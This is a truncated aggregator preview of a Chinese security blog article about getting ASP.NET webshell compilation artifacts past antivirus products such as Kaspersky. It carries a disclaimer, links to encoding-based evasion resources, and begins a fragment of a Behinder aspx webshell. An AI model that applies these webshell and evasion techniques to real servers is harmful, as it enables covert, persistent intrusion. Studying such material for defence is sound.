专栏名称: 潇湘信安
一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、渗透思路、奇淫技巧与知识总结。
今天看啥  ›  专栏  ›  潇湘信安

ASP.NET下Webshell编译产物免杀

潇湘信安  · 公众号  ·  · 2024-09-02 08:40

文章预览

声明: 该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 来源:先知社区,作者:半块西瓜皮 原文: https://xz.aliyun.com/t/15267 现在只对常读和星标的公众号才展示大图推送,建议大家把 潇湘信安 “ 设为星标 ”, 否则可能看不到了 ! Webshell的文件免杀可参考以下链接,通过unicode编码就可以实现 https: //xz.aliyun.com/t/10937 https: //github.com/cseroad/Webshell_Generate 但当有卡巴斯基等杀软时,虽然aspx、ashx、asmx文件没有被杀, 但编译产物会被杀导致无法连接webshell,以冰蝎aspx的webshell为例 < %@ Page Language= "C#" %> < % @Import Namespace= "System.Reflection" %> < % Session.Add( "k" , "e4 ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照
总结与预览地址:访问总结与预览